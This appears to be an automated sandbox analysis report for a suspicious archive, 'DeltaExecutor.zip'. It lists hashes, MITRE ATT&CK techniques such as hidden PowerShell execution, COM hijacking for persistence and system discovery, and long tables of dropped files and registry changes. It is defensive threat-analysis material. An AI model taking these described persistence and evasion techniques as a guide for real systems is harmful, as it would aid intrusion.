d9029d87aae61f32f6ea1f9bace4b63671b89d07ff8173e376d4054078c19669

Resubmissions

01-01-2025 20:08

250101-yw3eystrcl 8

01-01-2025 20:04

250101-ytbt8a1qe1 8

01-01-2025 20:01

250101-yrhvra1pgx 8

01-01-2025 14:10

250101-rgpf8axnaw 10

Analysis

max time kernel
616s
max time network
617s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
01-01-2025 20:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DeltaExecutor.zip
Size

8.7MB
MD5

0fe9527ce6a6464c8417949dca101972
SHA1

92e3d746ef23e80ecdee68910b64030bddaa7a9a
SHA256

d9029d87aae61f32f6ea1f9bace4b63671b89d07ff8173e376d4054078c19669
SHA512

39914909702417bfae6e411d2c59acc294961e8a722a87862301f997dcf3ae3a535681045b68e5b79bd970bdae428ca5c1aa33c5115195a919622e6265c6163d
SSDEEP

196608:E0kiwudGHZV4uYmFg7zf2yEC3axVsqFckd1/r81uMRZKI81oeI:EGA56u1G7wCKLzd1/rORZKId

Score

8^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1524	powershell.exe
296	powershell.exe
1524	powershell.exe
296	powershell.exe

Downloads MZ/PE file
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 9 IoCs

pid	Process
2816	DeltaExecutor.exe
2620	DeltaExecutor.exe
2636	DeltaExecutor.exe
2676	DeltaExecutor.exe
2852	DeltaExecutor.exe
1008	DeltaExecutor.exe
2928	EzExtractSetup.exe
2408	EzExtractProApp.exe
2232	DeltaExecutor.exe

Loads dropped DLL 64 IoCs

pid	Process
2192	7zFM.exe
2808	Process not Found
2192	7zFM.exe
2732	Process not Found
2192	7zFM.exe
2784	Process not Found
2192	7zFM.exe
2172	Process not Found
2192	7zFM.exe
2192	7zFM.exe
1372	Process not Found
2192	7zFM.exe
1148	Process not Found
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
1008	DeltaExecutor.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
2928	EzExtractSetup.exe
1760	regsvr32.exe
1632	regsvr32.exe
1496	regsvr32.exe
2928	EzExtractSetup.exe
1232	Process not Found
2408	EzExtractProApp.exe
2784	explorer.exe
2784	explorer.exe
2784	explorer.exe
2784	explorer.exe
2784	explorer.exe
2784	explorer.exe
2240	Process not Found
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2784	explorer.exe
2784	explorer.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe
2232	DeltaExecutor.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\fy.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\co.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\hy.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\hu.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\mng2.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\ta.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\th.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\ar.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\ru.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\sl.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\is.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\nn.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\he.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	msiexec.exe
File created	C:\Program Files\7-Zip\7-zip.chm	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\an.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\de.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\mk.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bg.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\pt.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\ro.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\fur.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\br.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\ga.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\gl.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\ba.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\io.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\fy.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\gu.txt	msiexec.exe
File created	C:\Program Files (x86)\EzExtractPro\EzExtractProShell.dll	EzExtractSetup.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\vi.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	msiexec.exe
File created	C:\Program Files\7-Zip\Lang\ka.txt	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	msiexec.exe

Drops file in Windows directory 28 IoCs

description	ioc	Process
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7z.sfx	msiexec.exe
File created	C:\Windows\Installer\f7a0de7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\f7a0d98.msi	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zip.dll	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zFM.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\f7a0d99.ipi	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zG.exe	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7z.dll	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7z.exe	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zFM.exe	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zCon.sfx	msiexec.exe
File created	C:\Windows\Installer\f7a0d99.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7z.sfx	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7z.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zCon.sfx	msiexec.exe
File created	C:\Windows\Installer\f7a0d98.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zip32.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zip.dll	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zG.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7z.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000\22.1.0\_7zip32.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEC0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\96F071321C0420722210000010000000	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EzExtractSetup.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = f0d5705b895cdb01	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c5525b406efb8540ac6d53566b75b1fe000000000200000000001066000000010000200000001335cb06367bcf679062e24b75fdc0413a8ab273186cb5206374a5040e0cc4be000000000e8000000002000020000000b8e74eb6223c8cf25cddba18df371139a375a05588fc72eea8d18a1bb4a7cd1b900000005bcc11aeb5ab5098b804f0930875f2d80c8a2dc07e5f8779ce5283b24ea491b222dd1051a33e7fea6081a0f19e79eb33cbbbf770e14728f97980624bf764c0be4f5e404a2cc20227381b7759251ef74d29da46d6271db43b167a7feefe78f2a050ae965c76a66bd283a7915dd27f4243faa86219cfa7f568e6cae4edd7132125687ff568d1f00b4aec2df7a711cda2b14000000070bd955e6b64181ca8211f927138d343e61b1b361da63a40cea91b66a0b38b90087ab840656f2ba4b232afd656969f4627958d2fe82deb56468270dcf84e860c	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c082a56d895cdb01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c5525b406efb8540ac6d53566b75b1fe000000000200000000001066000000010000200000004f8e4c39e5c96810a470ce266bae19752562926f91a0eda668be3a10bba85e64000000000e8000000002000020000000c94e2aff621e794c862c38983b5489269d0569de3fe9aa9ba17f840b44bfecad200000006f2608d10890b146ad56f3fdd6df4246de57ad95c209b3f96c6f53adf21e57694000000054a874ee236eae21f1b4aeda7dfc37b0a7cdddb8a22d5ac6f8825c1dd764af91e27697b3154eb354523f3d8e7367323281ca87367c2836338a4fec5ccf6a122a	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "441924153"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{BE455751-C87C-11EF-AC2A-E6BAD4272658} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
